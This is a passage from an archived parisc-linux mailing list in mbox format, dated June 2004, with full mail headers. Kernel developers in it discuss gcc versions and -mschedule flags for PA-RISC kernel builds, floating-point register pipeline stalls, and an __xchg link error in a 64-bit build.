	with ESMTP id 18447-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 20:20:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BF7E63BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 20:20:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5J2KpCp001853; Fri, 18 Jun 2004 22:20:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5J2KpJb001851;
	Fri, 18 Jun 2004 22:20:51 -0400 (EDT)
In-Reply-To: <20040619015455.GE12572@engsoc.org> from "Kyle McMartin" at Jun
	18, 2004 09:54:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21745

> I've been building hppa64 kernels with the gcc 3.0.4 debs on the FTP
> server, until this issue is resolved. :/

I'm 99% certain that this issue is not a target related problem.  The way to
move this forward is to provide more analysis and keep the PR visible.  This
could be more details on the nature of the failure, etc.

It's important for others to come forward on problem reports as this
shows an interest from the community at large in resolving problems on
the PA.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of minor patches for 2.6.7-pa1
Date: Fri, 18 Jun 2004 23:41:16 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040619034116.GF12572@engsoc.org>
References: <40D30E3C.1010809@tiscali.be> <40D34A27.8060009@tiscali.be>
	<35844.127.0.0.1.1087594933.squirrel@www.puszczka.com>
	<20040618212600.GB12572@engsoc.org>
	<35884.127.0.0.1.1087595933.squirrel@www.puszczka.com>
	<20040618215310.GD12572@engsoc.org>
	<20040619012855.GM20511@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623481 10002 80.91.229.3 (22 Nov 2014 02:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3977 invoked by uid 65534); 19 Jun 2004 05:40:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 19 Jun 2004 07:40:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E88563BC80; Fri, 18 Jun 2004 23:40:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19793-05; Fri, 18 Jun 2004 23:40:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 989683BDC9; Fri, 18 Jun 2004 23:40:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAE5C3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 23:39:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19723-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 23:39:58 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 775163BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 23:39:57 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i5J5eGUG011749; Sat, 19 Jun 2004 01:40:16 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BbWjE-0003nC-00; Fri, 18 Jun 2004 23:41:16 -0400
Content-Disposition: inline
In-Reply-To: <20040619012855.GM20511@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21746

On Sat, Jun 19, 2004 at 02:28:55AM +0100, Matthew Wilcox wrote:
> -cflags-$(CONFIG_PA7300LC)      += -march=1.1 -mschedule=7300
> +cflags-$(CONFIG_PA7300LC)      += $(call check_gcc,-march=1.1 -mschedule=7300,-march=1.1 -mschedule=7100LC)
> 
This works, but only if -Werror is passed to gcc as well, otherwise, it
only generates a warning and goes undetected. Without -Werror, the
kernel compile should succeed, as where it died before would be built
with 7100LC this way, though I'm unaware of the effect of mixing gcc
optimizations like this...

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc register assignment problem on parisc
Date: Fri, 18 Jun 2004 20:05:21 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200406190005.i5J05Msm000476@hiauly1.hia.nrc.ca>
References: <20040618190107.4EC4F4F24E@enterprise.cs.utk.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623481 10004 80.91.229.3 (22 Nov 2014 02:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:21 +0000 (UTC)
Cc: camm@enhanced.com,
 rwhaley@cs.utk.edu,
 parisc-linux@lists.parisc-linux.org
To: rwhaley@cs.utk.edu (R Clint Whaley)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 396 invoked by uid 65534); 19 Jun 2004 00:06:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 19 Jun 2004 02:06:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 15D343BDE7; Fri, 18 Jun 2004 18:05:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16683-02; Fri, 18 Jun 2004 18:05:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0DBBC3BDF9; Fri, 18 Jun 2004 18:05:32 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 497253BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:05:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16282-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:05:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 11AC93BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:05:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5J05MCp000478; Fri, 18 Jun 2004 20:05:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5J05Msm000476;
	Fri, 18 Jun 2004 20:05:22 -0400 (EDT)
In-Reply-To: <20040618190107.4EC4F4F24E@enterprise.cs.utk.edu> from "R Clint
	Whaley" at Jun 18, 2004 03:01:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21747

> I started looking at the genned assembler, and I think I've figured out why.
> parisc allows you to use the 'left' and 'right' parts of a double precision
> register as seperate single precision registers.  Therefore, you have
> something like 56 single prec regs on this arch!  The bad news, though,
> is that the pair must be scheduled as if they were still one reg.  I.e.,
> if %fr31L is the target of an operation, and the next operation uses
> %fr31R as a target, you have a pipeline stall just as you would if they
> were both %fr31L.

This is a known issue and mentioned in pa64-regs.h.  I believe the
simple stuff has been done already (fp register allocation order).
Changing the the allocation order or hiding the left/right addressibility
would probably break gdb.  It might be possible to describe the
interdependency in the machine definition.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A couple of minor patches for 2.6.7-pa1g
Date: Fri, 18 Jun 2004 20:33:12 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200406190033.i5J0XCSX001113@hiauly1.hia.nrc.ca>
References: <20040618212600.GB12572@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623481 10006 80.91.229.3 (22 Nov 2014 02:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@engsoc.org (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20481 invoked by uid 65534); 19 Jun 2004 00:33:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 19 Jun 2004 02:33:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1AF583BDF9; Fri, 18 Jun 2004 18:33:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16729-05; Fri, 18 Jun 2004 18:33:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 625293BDFC; Fri, 18 Jun 2004 18:33:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BB193BDE7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:33:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16729-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:33:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3FED53BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Jun 2004 18:33:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5J0XCCp001114; Fri, 18 Jun 2004 20:33:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5J0XCSX001113;
	Fri, 18 Jun 2004 20:33:12 -0400 (EDT)
In-Reply-To: <20040618212600.GB12572@engsoc.org> from "Kyle McMartin" at Jun
	18, 2004 05:26:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21748

> On Fri, Jun 18, 2004 at 11:42:13PM +0200, Andy Walker wrote:
> > -cflags-$(CONFIG_PA7300LC)	+= -march=1.1 -mschedule=7300
> > +cflags-$(CONFIG_PA7300LC)	+= -march=1.1 -mschedule=7100LC
> 
> Yes it does. Update your GCC.

It was introduced in 3.3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Improper use of __xchg?
Date: Sat, 19 Jun 2004 15:20:39 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20040619192039.GA8368@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623482 10008 80.91.229.3 (22 Nov 2014 02:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19619 invoked by uid 65534); 19 Jun 2004 19:21:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 19 Jun 2004 21:21:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5973C3BDC9; Sat, 19 Jun 2004 13:21:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27792-03; Sat, 19 Jun 2004 13:21:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E0C913BDD0; Sat, 19 Jun 2004 13:20:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A1363BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:20:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27272-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:20:42 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id CF6523BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:20:41 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BblOK-0002U4-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 15:20:40 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21749


pa,

Someone with the notion of said functions semantics might be willing to
produce the correct fix please? :)

64-bit kernel build (turned off loop.ko compilation)

carlos@firin:/mnt/flaire/src/linux-2.6$ make
make[1]: `arch/parisc/kernel/asm-offsets.s' is up to date.
  CHK     include/asm-parisc/offsets.h
  CHK     include/linux/compile.h
  GEN     .version
  CHK     include/linux/compile.h
  UPD     include/linux/compile.h
  CC      init/version.o
  LD      init/built-in.o
  LD      .tmp_vmlinux1
kernel/built-in.o(.text.put_files_struct+0x118): In function
`put_files_struct':
: undefined reference to `__xchg_called_with_bad_pointer'
make: *** [.tmp_vmlinux1] Error 1
carlos@firin:/mnt/flaire/src/linux-2.6$ 

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Improper use of __xchg?
Date: Sat, 19 Jun 2004 20:40:45 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20040619194045.GP20511@parcelfarce.linux.theplanet.co.uk>
References: <20040619192039.GA8368@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623482 10010 80.91.229.3 (22 Nov 2014 02:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23620 invoked by uid 65534); 19 Jun 2004 19:41:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 19 Jun 2004 21:41:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 485D53BDE1; Sat, 19 Jun 2004 13:41:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27792-07; Sat, 19 Jun 2004 13:41:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3073B3BDD0; Sat, 19 Jun 2004 13:40:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85EB73BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:40:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28178-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:40:48 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 2B6103BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Jun 2004 13:40:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Bblhm-0001a6-0A; Sat, 19 Jun 2004 20:40:46 +0100
Content-Disposition: inline
In-Reply-To: <20040619192039.GA8368@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21750

On Sat, Jun 19, 2004 at 03:20:39PM -0400, Carlos O'Donell wrote:
> Someone with the notion of said functions semantics might be willing to
> produce the correct fix please? :)

"gcc is buggy" ;-)

> 64-bit kernel build (turned off loop.ko compilation)
> 
